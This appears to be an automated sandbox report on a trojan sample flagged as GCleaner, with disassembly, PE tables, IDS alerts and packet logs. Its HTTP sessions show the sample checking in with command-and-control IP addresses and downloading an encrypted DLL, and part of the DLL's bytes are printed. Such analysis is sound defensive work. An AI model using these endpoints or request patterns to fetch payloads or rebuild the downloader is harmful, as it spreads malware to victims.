mov eax, dword ptr [0040B014h]
call 00007F3D6C69A3BFh
call 00007F3D6C699F7Eh
lea edx, dword ptr [ebp-10h]
xor eax, eax
call 00007F3D6C6976E4h
mov edx, dword ptr [ebp-10h]
mov eax, 0040BDD4h
call 00007F3D6C693E27h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [0040BDD4h]
mov dl, 01h
mov eax, 00407158h
call 00007F3D6C697DCBh
mov dword ptr [0040BDD8h], eax
xor edx, edx
push ebp
push 00409E99h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
lea edx, dword ptr [ebp-18h]
mov eax, dword ptr [0040BDD8h]
call 00007F3D6C697EC7h
mov ebx, dword ptr [ebp-18h]
mov edx, 00000030h
mov eax, dword ptr [0040BDD8h]
call 00007F3D6C698001h
mov edx, esi
mov ecx, 0000000Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc000	0x8f0	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x10000	0x2800	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xe000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x8f94	0x9000	False	0.6195203993055556	data	6.591638965772245	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0xa000	0x248	0x400	False	0.306640625	data	2.7093261929320986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xb000	0xe64	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xc000	0x8f0	0xa00	False	0.3953125	data	4.294209855544776	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xd000	0x8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xe000	0x18	0x200	False	0.052734375	data	0.1991075177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xf000	0x884	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x10000	0x2800	0x2800	False	0.32021484375	data	4.282044854754233	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x1030c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Dutch	Netherlands
RT_ICON	0x10434	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Dutch	Netherlands
RT_ICON	0x1099c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Dutch	Netherlands
RT_ICON	0x10c84	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	Dutch	Netherlands
RT_STRING	0x1152c	0x2f2	data
RT_STRING	0x11820	0x30c	data
RT_STRING	0x11b2c	0x2ce	data
RT_STRING	0x11dfc	0x68	data
RT_STRING	0x11e64	0xb4	data
RT_STRING	0x11f18	0xae	data
RT_GROUP_ICON	0x11fc8	0x3e	data	English	United States
RT_VERSION	0x12008	0x3a8	data	English	United States
RT_MANIFEST	0x123b0	0x289	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, WideCharToMultiByte, TlsSetValue, TlsGetValue, MultiByteToWideChar, GetModuleHandleA, GetLastError, GetCommandLineA, WriteFile, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetSystemTime, GetFileType, ExitProcess, CreateFileA, CloseHandle
user32.dll	MessageBoxA
oleaut32.dll	VariantChangeTypeEx, VariantCopyInd, VariantClear, SysStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA
kernel32.dll	WriteFile, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, Sleep, SetLastError, SetFilePointer, SetErrorMode, SetEndOfFile, RemoveDirectoryA, ReadFile, LoadLibraryA, IsDBCSLeadByte, GetWindowsDirectoryA, GetVersionExA, GetUserDefaultLangID, GetSystemInfo, GetSystemDefaultLCID, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeProcess, GetEnvironmentVariableA, GetCurrentProcess, GetCommandLineA, InterlockedExchange, FormatMessageA, DeleteFileA, CreateProcessA, CreateFileA, CreateDirectoryA, CloseHandle
user32.dll	TranslateMessage, SetWindowLongA, PeekMessageA, MsgWaitForMultipleObjects, MessageBoxA, LoadStringA, ExitWindowsEx, DispatchMessageA, DestroyWindow, CreateWindowExA, CallWindowProcA, CharPrevA
comctl32.dll	InitCommonControls
advapi32.dll	AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.345.12.253.7249698802044031 05/28/23-14:31:02.886782	TCP	2044031	ET TROJAN GCleaner CnC Checkin M1	49698	80	192.168.2.3	45.12.253.72
192.168.2.345.12.253.7549699802044033 05/28/23-14:31:35.542564	TCP	2044033	ET TROJAN GCleaner CnC Checkin M2	49699	80	192.168.2.3	45.12.253.75
192.168.2.345.12.253.7249698802044032 05/28/23-14:31:02.924623	TCP	2044032	ET TROJAN GCleaner Payload Retrieval Attempt	49698	80	192.168.2.3	45.12.253.72
45.12.253.72192.168.2.380496982044037 05/28/23-14:31:02.950793	TCP	2044037	ET TROJAN GCleaner Downloader - Payload Response	80	49698	45.12.253.72	192.168.2.3
192.168.2.345.12.253.5649697802044034 05/28/23-14:31:02.810921	TCP	2044034	ET TROJAN Potential GCleaner CnC Checkin	49697	80	192.168.2.3	45.12.253.56

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 28, 2023 14:31:02.783644915 CEST	49697	80	192.168.2.3	45.12.253.56
May 28, 2023 14:31:02.810148954 CEST	80	49697	45.12.253.56	192.168.2.3
May 28, 2023 14:31:02.810333967 CEST	49697	80	192.168.2.3	45.12.253.56
May 28, 2023 14:31:02.810920954 CEST	49697	80	192.168.2.3	45.12.253.56
May 28, 2023 14:31:02.836796045 CEST	80	49697	45.12.253.56	192.168.2.3
May 28, 2023 14:31:02.841438055 CEST	80	49697	45.12.253.56	192.168.2.3
May 28, 2023 14:31:02.841593027 CEST	49697	80	192.168.2.3	45.12.253.56
May 28, 2023 14:31:02.860186100 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.885916948 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.886037111 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.886781931 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.912609100 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.913141966 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.913265944 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.924623013 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.950473070 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.950793028 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.950850964 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.950901985 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.950948954 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.950980902 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.950980902 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.950995922 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.951025963 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.951025963 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.951042891 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.951090097 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.951092005 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.951121092 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.951138973 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.951155901 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.951205969 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.951215982 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.951253891 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.951263905 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.951309919 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.976932049 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977011919 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977057934 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977104902 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977150917 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977179050 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977205992 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977246046 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977253914 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977303028 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977307081 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977327108 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977356911 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977379084 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977404118 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977417946 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977449894 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977473021 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977510929 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977519035 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977559090 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977572918 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977606058 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977617979 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977652073 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977667093 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977699041 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977713108 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977746964 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977761030 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977794886 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977809906 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977840900 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977875948 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977889061 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:02.977914095 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:02.977956057 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.003834009 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.003909111 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.003957987 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004005909 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004053116 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004056931 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004100084 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004117012 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004148960 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004157066 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004195929 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004216909 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004244089 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004291058 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004317999 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004326105 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004383087 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004395962 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004442930 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004456043 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004491091 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004503965 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004539013 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004549980 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004585981 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004602909 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004652977 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004667997 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004700899 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004714966 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004748106 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004761934 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004793882 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004806995 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004839897 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004861116 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004887104 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004925966 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004931927 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004951954 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.004977942 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.004992008 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005024910 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005040884 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005073071 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005086899 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005119085 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005132914 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005165100 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005177021 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005212069 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005227089 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005259037 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005273104 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005306005 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005325079 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005354881 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005367041 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005399942 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005414009 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005446911 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005460024 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005492926 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005511999 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005539894 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005556107 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005587101 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005599976 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005635023 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005649090 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005682945 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005696058 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005728006 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005740881 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005778074 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.005788088 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.005857944 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.032593012 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.032670021 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.032717943 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.032767057 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.032808065 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:03.032845020 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.032918930 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:03.079823971 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:03.105977058 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:03.106215954 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:03.107307911 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:03.133431911 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:04.113198042 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:04.113322020 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:06.164664030 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:06.190685034 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:07.180497885 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:07.180774927 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:07.842361927 CEST	80	49697	45.12.253.56	192.168.2.3
May 28, 2023 14:31:07.842453003 CEST	49697	80	192.168.2.3	45.12.253.56
May 28, 2023 14:31:08.009016037 CEST	80	49698	45.12.253.72	192.168.2.3
May 28, 2023 14:31:08.009108067 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:09.243110895 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:09.268908978 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:10.275702000 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:10.275810003 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:12.347346067 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:12.376040936 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:13.336638927 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:13.336817980 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:16.196873903 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:16.223571062 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:17.181067944 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:17.181188107 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:19.244203091 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:19.270076036 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:20.223187923 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:20.223443985 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:22.302320004 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:22.330377102 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:23.346162081 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:23.347248077 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:25.402549982 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:25.428615093 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:26.400597095 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:26.400727034 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:28.479499102 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:28.505573988 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:29.528879881 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:29.529088020 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:32.466677904 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:32.492986917 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:33.490919113 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:33.491096020 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:35.542563915 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:35.571194887 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:36.600250006 CEST	80	49699	45.12.253.75	192.168.2.3
May 28, 2023 14:31:36.600434065 CEST	49699	80	192.168.2.3	45.12.253.75
May 28, 2023 14:31:40.025571108 CEST	49697	80	192.168.2.3	45.12.253.56
May 28, 2023 14:31:40.025640965 CEST	49698	80	192.168.2.3	45.12.253.72
May 28, 2023 14:31:40.025651932 CEST	49699	80	192.168.2.3	45.12.253.75

HTTP Request Dependency Graph

45.12.253.56

45.12.253.72

45.12.253.75

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49697	45.12.253.56	80	C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Timestamp	kBytes transferred	Direction	Data
May 28, 2023 14:31:02.810920954 CEST	91	OUT	GET /advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixinte HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: OK Host: 45.12.253.56 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:02.841438055 CEST	91	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49698	45.12.253.72	80	C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Timestamp	kBytes transferred	Direction	Data
May 28, 2023 14:31:02.886781931 CEST	92	OUT	GET /default/stuk.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: OK Host: 45.12.253.72 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:02.913141966 CEST	92	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 6b 76 51 6f 52 71 74 63 43 79 4d 74 48 6d 51 79 51 58 4f 55 75 Data Ascii: kvQoRqtcCyMtHmQyQXOUu
May 28, 2023 14:31:02.924623013 CEST	93	OUT	GET /default/puk.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: OK Host: 45.12.253.72 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:02.950793028 CEST	94	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:02 GMT Server: Apache/2.4.41 (Ubuntu) Pragma: public Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Transfer-Encoding: binary Content-Length: 95248 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: f9 17 27 6d cd b4 92 68 0d 66 7b 51 7b ad 1c 37 5f 16 01 ee f3 6c ae f2 2f 09 dd 14 d1 33 60 9a 70 b7 24 0a 1c e2 2e 05 5d ab bb 9c 09 7e 40 d6 d5 56 74 d6 25 0c 07 65 42 d1 39 61 e4 e7 2f 5f 8e bc ea 47 de 02 0f 7c 97 4f ac 86 30 48 47 60 ad b8 b4 11 a3 9a 60 af b0 06 20 6b c9 98 81 78 23 f4 29 c3 1e da aa f7 f1 57 88 c2 91 6e 05 10 d3 3b 0b 76 6d 4e f1 b7 c8 14 bc 54 1b ad 3a 6c dd bb 0c 9f cf 07 cf aa 93 ed 14 14 d2 33 37 72 85 15 b8 2f 97 bf 58 aa 31 2c f6 81 29 ba 05 5e ce 98 59 95 0d bf b4 4e be 7b 38 b8 7f b6 c8 b4 aa e8 9b e7 be bb d5 3d f9 ce a0 52 b3 06 45 09 7a 8e 63 b7 f5 47 b0 7e 58 cd 30 02 7d c7 62 d1 a1 04 00 ef 72 45 b3 f7 64 d4 ed 